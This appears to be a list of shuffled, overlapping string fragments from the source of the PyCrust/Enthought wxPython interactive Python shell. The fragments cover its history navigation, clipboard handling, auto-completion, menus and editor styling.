"anything. if (self.historyIndex <= -1) \\ or (self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history)))",
"verbose: self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute all commands in file as if",
"AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part of builtins.",
"= self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos() self.write(argspec + ')') endpos = self.GetCurrentPos()",
"\\ 'Show auto completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\",
"wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId()",
"EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW, \\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE,",
"import * import keyword import os import sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut,",
"= 32 # Mimic a space. #*** styleAfter = self.GetStyleAt(caretPos) if charAfter and",
"line += 1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line += 1 self.GotoLine(line) stoppos",
"1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include attributes visible to __getattr__ and __setattr__',",
"and not shiftDown \\ and key in (ord('V'), ord('v'))) \\ or (shiftDown and",
"also available online at http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought open source! #",
"in commands to be sent to the interpreter. This particular shell is based",
"command from the history buffer. elif (controlDown and key == WXK_UP) \\ or",
"command.rstrip() return command def getCommand(self, text=None, rstrip=1): \"\"\"Extract a command from text which",
"\"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" %",
"self.promptPosEnd: event.Skip() # Only allow these keys after the latest prompt. elif key",
"wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command = command.rstrip() command = self.fixLineEndings(command)",
"self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input = '' reader = self.reader",
"Only receives an event if OnKeyDown calls event.Skip() for the corresponding event.\"\"\" #",
"\"\"\"Replace selection with clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data",
"self.OnUpdateMenu) if hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self,",
"so they can be restored by self.redirect* methods. self.stdin = sys.stdin self.stdout =",
"'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision + \\ 'Python Version: %s\\n' % sys.version.split()[0] +",
"likely be replaced by the enclosing app # to do something more interesting,",
"\\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 else: return self.GetCurrentPos()",
"def historyShow(self, prefix=''): items = [] for item in self.history: item = item.replace(",
"'#FFFFFF', } # Versions of wxPython prior to 2.3.2 had a sizing bug",
"= self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self,",
"PseudoFileOut, PseudoFileErr from wx.py.version import VERSION # local imports from .drag_and_drop import PythonObject",
"sys.stdout self.stderr = sys.stderr self.handlers = [] self.python_obj_paste_handler = None # Add the",
"in front of the cursor. elif key == WXK_F8: self.OnHistorySearch() # Show all",
"startpos = self.promptPosEnd endpos = self.GetTextLength() # If they hit RETURN inside the",
"(shiftDown and not controlDown and key == WXK_INSERT): self.Paste() # Paste from the",
"= command.replace('\\n', os.linesep + sys.ps2) else: command = '' if rstrip: command =",
"self.write(' '*4) # Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\"",
"interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\",
"the user.\"\"\" self.ask('Press enter to continue:') def clear(self): \"\"\"Delete all text from the",
"self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText() text = text.strip() text = self.fixLineEndings(text) text",
"selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR,",
"== ps2 and line > 0: line -= 1 self.GotoLine(line) text = self.GetCurLine()[0]",
"if hasattr( self, 'crust' ): fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update',",
"= len(prefix) if n > 0: self.historyMatches = matches = [] for command",
"keyword import os import sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from wx.py.version",
"here. Need to keep track of the # prompt every time a command",
"del busy if not self.more: self.addHistory(command.rstrip()) for handler in self.handlers: handler() self.prompt() def",
"= text.strip() text = self.fixLineEndings(text) text = self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1,",
"the command. command += '\\n' command += line commands.append(command) for command in commands:",
"provided. if InterpClass == None: from PyCrust.interpreter import Interpreter else: Interpreter = InterpClass",
"wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with clipboard contents.\"\"\" if self.CanPaste() and wxTheClipboard.Open(): try:",
"completion during dot syntax', 1) m.Append(ID_AUTOCOMP_INCLUDE_MAGIC, 'Include Magic Attributes', \\ 'Include attributes visible",
"= self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b)",
"endpos) self.ReplaceSelection('') text = data.GetText() text = text.strip() text = self.fixLineEndings(text) text =",
"match the command typed so far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't",
"\"this\" this >>> \"\"\" # Go to the very bottom of the text.",
"Check after. if braceAtCaret < 0: charAfter = self.GetCharAt(caretPos) #*** Patch to fix",
"event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id",
"of a PythonObject on the # clipboard is really just a signal to",
"command = self.lstripPrompt(text) if command == text: command = '' # Real commands",
"position in the history; it gets incremented as you # retrieve the previous",
"text from the shell.\"\"\" self.ClearAll() def run(self, command, prompt=1, verbose=1): \"\"\"Execute command within",
"= wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m = self.editMenu = wxMenu() m.Append(wxID_UNDO,",
"event.Skip() else: self.clearCommand() # Cut to the clipboard. elif (controlDown and key in",
"if there # is a selection that includes text prior to the prompt.",
"setStatusText(self, text): \"\"\"Display status information.\"\"\" # This method will most likely be replaced",
"at which the user hit Enter.\"\"\" # The user hit ENTER and we",
"clipboard. elif (controlDown and key in (ord('X'), ord('x'))) \\ or (shiftDown and key",
"history=None): \"\"\"Replace selection with command from the history buffer.\"\"\" self.ReplaceSelection('') if history is",
"def prompt(self): \"\"\"Display appropriate prompt for the context, either ps1, ps2 or ps3.",
"id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id == ID_FILLING_SHOW_DOC: event.Check(self.crust.filling.fillingTree.showDoc) elif id == ID_FILLING_SHOW_MODULE:",
"on the close button to leave the application.' def quit(self): \"\"\"Quit the application.\"\"\"",
"self.historyIndex # is the current position in the history; it gets incremented as",
"the close event handler we can make sure they want to quit. #",
"self.ReplaceSelection('') self.more = 0 def OnHistoryReplace(self, step): \"\"\"Replace with the previous/next command from",
"directory \".\" to the search path. sys.path.insert(0, os.curdir) # Import a default interpreter",
"command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the previous/next command from",
"def OnHistorySearch(self): \"\"\"Search up the history buffer for the text in front of",
"# Mimic a space. #*** styleBefore = self.GetStyleAt(caretPos - 1) # Check before.",
"the SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your source for",
"the cursor is what we search for. numCharsAfterCursor = self.GetTextLength() - startpos searchText",
"typed in directly. >>> shell.run('print \"this\"') >>> print \"this\" this >>> \"\"\" #",
"event): \"\"\"Key down event handler.\"\"\" # Prevent modification of previously submitted commands/responses. key",
"self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and place it",
"to the beginning if we don't find anything. if (self.historyIndex <= -1) \\",
"% self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision + \\ 'Python Version:",
"prompt. elif selecting and key not in NAVKEYS and not self.CanEdit(): pass #",
"event): self.shell.Paste() def OnClear(self, event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event):",
"< 2.3.3. if charBefore < 0: charBefore = 32 # Mimic a space.",
"with the previous/next command from the history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix =",
"+ sys.ps2, os.linesep) command = command.replace(os.linesep + sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data",
"in methods: self.__dict__[method] = getattr(other, method) d = self.__dict__ d['other'] = other d['helpText']",
"text. Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste and run multiple commands from clipboard.",
"1 else: return 0 else: return self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove selection",
"extend introspection.\"\"\" list = ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return",
"self.stdin = sys.stdin self.stdout = sys.stdout self.stderr = sys.stderr self.handlers = [] self.python_obj_paste_handler",
"\"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret",
"front of the cursor.\"\"\" if not self.CanEdit(): return startpos = self.GetCurrentPos() # The",
"text prior to the prompt. # # Don't modify a selection with text",
"command from the history buffer. elif (controlDown and key == WXK_DOWN) \\ or",
"window.\"\"\" import sys title = 'About PyCrust' text = 'PyCrust %s\\n\\n' % VERSION",
"to the clipboard. elif controlDown and not shiftDown \\ and key in (ord('C'),",
"line deletion. elif controlDown and key in (ord('L'), ord('l')): pass # Don't allow",
"% self.shell.interp.revision + \\ 'Python Version: %s\\n' % sys.version.split()[0] + \\ 'wxPython Version:",
"dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic =",
"def __setattr__(self, name, value): if name in self.__dict__: self.__dict__[name] = value elif hasattr(self.other,",
"\"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces)",
"the conditions described in the aforementioned license. The license # is also available",
"in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD,",
"self.write(argspec + ')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos = self.GetCurrentPos()",
"= command.replace(os.linesep + sys.ps2, '\\n') command = command.rstrip() command = command.replace('\\n', os.linesep +",
"endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText()",
"just post the event and let the surrounding app # decide what it",
"command[:len(searchText)] == searchText: # Replace the current selection with the one we've found.",
"ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE",
"shell, only flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n' + \\ 'the other half",
"enClipboard sys.ps3 = '<-- ' # Input prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT,",
"command = command.replace(os.linesep + sys.ps2, '\\n') command = command.replace(os.linesep, '\\n') command = command.replace('\\n',",
"1 self.prompt() def processLine(self): \"\"\"Process the line of text at which the user",
"and cancels # an active auto completion. if self.AutoCompActive(): self.AutoCompCancel() # Get the",
"self.CopyWithPrompts() # Home needs to be aware of the prompt. elif key ==",
"tree view', 1) fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries in the tree view',",
"key == WXK_DELETE: if self.CanEdit(): event.Skip() elif key == WXK_TAB: if self.CanEdit() and",
"def autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble)",
"'lucida' : 'Lucida Console', 'other' : 'Comic Sans MS', 'size' : 10, 'lnsize'",
"self.GetCurrentPos() self.write(argspec + ')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos =",
"WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform == '__WXMSW__': faces = { 'times' : 'Times",
"for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various defaults",
"work anywhere. elif key in NAVKEYS: event.Skip() # Protect the readonly portion of",
"based on wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision = __revision__ def __init__(self, parent,",
"and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 def CanCopy(self): \"\"\"Return true",
"return text finally: dialog.Destroy() return '' def pause(self): \"\"\"Halt execution pending a response",
"may be multiline. command = line else: # Multiline command. Add to the",
"m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last",
"#------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an interactive text control in which a user",
"line commands.append(command) for command in commands: command = command.replace('\\n', os.linesep + sys.ps2) self.write(command)",
"1) #*** Patch to fix bug in wxSTC for wxPython < 2.3.3. if",
"\"\"\"Extract a command from text which may include a shell prompt. The command",
"'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python Shell.', '__version__': VERSION, } # Add the",
"2.3.3. if charBefore < 0: charBefore = 32 # Mimic a space. #***",
"searchText = searchText[:-numCharsAfterCursor] if not searchText: return # Search upwards from the current",
"\"\"\"Create pseudo keywords as part of builtins. This simply sets \"close\", \"exit\" and",
"'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ] for method in methods: self.__dict__[method]",
"hits return without entering a value. command = '\\n' self.reader.input = command self.write(os.linesep)",
"'\\n'.join(items)) def OnHistorySelected(self, event): command = event.GetText() if command.find('\\\\n') >= 0: command +=",
"\"\"\"Configure font size, typeface and color for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\"",
"input.\"\"\" if prompt: self.write(prompt) return self.readline() def ask(self, prompt='Please enter your response:'): \"\"\"Get",
"prompts. if rstrip: command = command.rstrip() return command def lstripPrompt(self, text): \"\"\"Return text",
"self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we want to automatically pop up command",
"== 28 or key == 1241712: # Is there a 'name' for the",
"up command completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1",
"= command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def wrap(self, wrap=1): \"\"\"Sets whether",
"= wxNewId() ID_CALLTIPS = wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE =",
"= self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show auto completion during",
"redistributed only # under the conditions described in the aforementioned license. The license",
"= self.GetCurrentPos() self.write(argspec + ')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos",
"Previous History item. Alt+P Retrieve Previous History item. Ctrl+Down Arrow Retrieve Next History",
"text with line endings replaced by OS-specific endings.\"\"\" lines = text.split('\\r\\n') for l",
"self.GetCurrentPos() # Keep the undo feature from undoing previous responses. self.EmptyUndoBuffer() # XXX",
"command may not necessarily be valid Python syntax.\"\"\" # XXX Need to extract",
"in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines) return text",
"$\" __revision__ = \"$Revision: 1.2 $\"[11:-2] from wx.wx import * from wx.stc import",
"elif self.more: prompt = str(sys.ps2) else: prompt = str(sys.ps1) pos = self.GetCurLine()[1] if",
"need to decide what to do. They could be # sitting on any",
"} # Add the dictionary that was passed in. if locals: shellLocals.update(locals) #",
"'__doc__': 'PyCrust-Shell, The PyCrust Python Shell.', '__version__': VERSION, } # Add the dictionary",
"lines = command.split(os.linesep + sys.ps2) lines = [line.rstrip() for line in lines] command",
"\"\"\"Delete all text from the shell.\"\"\" self.ClearAll() def run(self, command, prompt=1, verbose=1): \"\"\"Execute",
"styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret >= 0: braceOpposite = self.BraceMatch(braceAtCaret)",
"self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.rstrip() command =",
"self.stderr def CanCut(self): \"\"\"Return true if text is selected and can be cut.\"\"\"",
"\\ 'Include attibutes prefixed by a double underscore', 1) m = self.calltipsMenu =",
"matches = [] for command in self.history: if command[:n] == prefix and command",
"= 0 # Insert this command into the history, unless it's a blank",
"after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods and functions in the",
"self.ReplaceSelection('') command = self.GetTextRange(stoppos, currpos) + '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: #",
"wxYield() input = reader.input finally: reader.input = '' reader.isreading = 0 return input",
"the previous command from the history buffer. elif (shiftDown and key == WXK_UP)",
"WXK_INSERT): self.Paste() # Paste from the clipboard, run commands. elif controlDown and shiftDown",
"action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X',",
"'the other half is still in the oven.\\n\\n' + \\ 'Shell Revision: %s\\n'",
"clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('')",
"= self.GetTextRange(stoppos, currpos) if command == '': self.historyShow() else: command += chr(key) self.write(chr(key))",
"event.Skip() for the corresponding event.\"\"\" # Prevent modification of previously submitted commands/responses. if",
"text = self.lstripPrompt(text=text) text = text.replace(os.linesep + sys.ps1, '\\n') text = text.replace(os.linesep +",
"Roman', 'mono' : 'Courier New', 'helv' : 'Lucida Console', 'lucida' : 'Lucida Console',",
"def OnRedo(self, event): self.shell.Redo() def OnCut(self, event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def",
"# retrieve the previous command, decremented as you retrieve the # next, and",
"for now but later we want to send a close event. # In",
"introductory banner information. try: self.showIntro(introText) except: pass # Assign some pseudo keywords to",
"self.GetSelectionEnd() \\ and self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1",
"def CanCopy(self): \"\"\"Return true if text is selected and can be copied.\"\"\" return",
"= text.split('\\n') commands = [] command = '' for line in lines: if",
"sys.platform dialog = wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self,",
": 'Lucida Console', 'lucida' : 'Lucida Console', 'other' : 'Comic Sans MS', 'size'",
"wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId()",
"def wrap(self, wrap=1): \"\"\"Sets whether text is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError:",
"= item.replace( '\\n', '\\\\n' ) if (prefix == item[:len(prefix)]) and item not in",
"createMenus(self): m = self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m =",
"handler. if key == WXK_RETURN: pass elif key in self.autoCompleteKeys: # Usually the",
"Single Underscores', \\ 'Include attibutes prefixed by a single underscore', 1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include",
"Revision: %s\\n\\n' % self.shell.interp.revision + \\ 'Python Version: %s\\n' % sys.version.split()[0] + \\",
"id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS:",
"(period) key activates auto completion. # Get the command between the prompt and",
"SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your source for Python",
"the terms of the BSD # license included in enthought/LICENSE.txt and may be",
"last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t",
"Select to the end of the line. End Go to the end of",
"if (self.historyIndex <= -1) \\ or (self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history))) else:",
"interface to all shell-related functionality. This is a semi-transparent facade, in that all",
"0) def setBuiltinKeywords(self): \"\"\"Create pseudo keywords as part of builtins. This simply sets",
"command = command.rstrip() if prompt: self.prompt() if verbose: self.write(command) self.push(command) def runfile(self, filename):",
"to all shell-related functionality. This is a semi-transparent facade, in that all attributes",
"= 'PyCrust Shell' revision = __revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize,",
"= self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos = self.GetCurrentPos() tippos = curpos -",
"[line.rstrip() for line in lines] command = '\\n'.join(lines) if self.reader.isreading: if not command:",
"os.linesep + sys.ps2) else: command = '' if rstrip: command = command.rstrip() return",
"0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display argument spec and docstring in a",
"== 1241712: # Is there a 'name' for the Enter key? self.processLine() def",
"event handler. Only receives an event if OnKeyDown calls event.Skip() for the corresponding",
"self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") #",
"self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos = self.GetCurrentPos() tippos = curpos - (len(name)",
"sys.ps3 = '<-- ' # Input prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP,",
"handler we can make sure they want to quit. # Other applications, like",
"self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME,",
"Arrow Insert Previous History item. Shift+Down Arrow Insert Next History item. F8 Command-completion",
"1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want to automatically pop up command argument",
"# Cut to the clipboard. elif (controlDown and key in (ord('X'), ord('x'))) \\",
"prompt. elif key == WXK_BACK: if selecting and self.CanEdit(): event.Skip() elif currpos >",
"shell.\"\"\" if redirect: sys.stdin = self.reader else: sys.stdin = self.stdin def redirectStdout(self, redirect=1):",
"EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"the auto-complete window is up let it do its thing. elif self.AutoCompActive(): event.Skip()",
"command = self.GetTextRange(startpos, endpos) lines = command.split(os.linesep + sys.ps2) lines = [line.rstrip() for",
"the 'Enter' key was pressed: key = event.GetKey() if key == 28 or",
"'wrap', 'zoom', ] for method in methods: self.__dict__[method] = getattr(other, method) d =",
"self.ReplaceSelection('') if history is None: history = self.history newindex = self.historyIndex + step",
"command = command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject)",
"# line or the same as the last command. if command != ''",
"to grab the data # from our singleton clipboard instance data = enClipboard.data",
"means # you're on the current command, not in the history. self.history =",
"wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId()",
"self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('') text = data.GetText() text = text.strip() text = self.fixLineEndings(text)",
"__module__ entries in the tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m",
"Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size, style) # Grab these so they",
"if verbose: self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute all commands in file as",
"event): self.shell.Clear() def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an About PyCrust",
"WXK_TAB: if self.CanEdit() and not self.topLevelComplete(): event.Skip() # Don't toggle between insert mode",
"if 0 <= newindex <= len(history)-1: command = history[self.historyIndex] command = command.replace('\\n', os.linesep",
"to do. self.write('Click on the close button to leave the application.') def setLocalShell(self):",
"wxID_OK: text = dialog.GetValue() return text finally: dialog.Destroy() return '' def pause(self): \"\"\"Halt",
"sets \"close\", \"exit\" and \"quit\" to a helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close",
"reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC =",
"self.EnsureCaretVisible() def fixLineEndings(self, text): \"\"\"Return text with line endings replaced by OS-specific endings.\"\"\"",
"the current command with the other command. else: # If the line contains",
"in (ord('X'), ord('x'))) \\ or (shiftDown and key == WXK_DELETE): self.Cut() # Copy",
"text = text[ps2size:] return text def push(self, command): \"\"\"Send command to the interpreter",
"= str(sys.ps2) else: prompt = str(sys.ps1) pos = self.GetCurLine()[1] if pos > 0:",
"retrieve the # next, and reset when you hit Enter. self.historyIndex == -1",
"= self.GetTextRange(stoppos, currpos) + '(' self.write('(') if self.autoCallTip: self.autoCallTipShow(command) else: # Allow the",
"event.Skip() # Only allow these keys after the latest prompt. elif key ==",
"and line > 0: line -= 1 self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size]",
"self, 'crust' ): fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update",
"'Half-baked by <NAME>,\\n' + \\ 'the other half is still in the oven.\\n\\n'",
"self.reader else: sys.stdin = self.stdin def redirectStdout(self, redirect=1): \"\"\"If redirect is true then",
"' + startupScript self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript')) else: self.push('') def setStyles(self,",
"selection with text prior to the prompt. elif selecting and key not in",
"or key == 1241712: # Is there a 'name' for the Enter key?",
"self.shell.interp.revision + \\ 'Python Version: %s\\n' % sys.version.split()[0] + \\ 'wxPython Version: %s\\n'",
"the user hits return without entering a value. command = '\\n' self.reader.input =",
"history; it gets incremented as you # retrieve the previous command, decremented as",
"% wx.__version__ + \\ 'Platform: %s\\n' % sys.platform dialog = wxMessageDialog(self, text, title,",
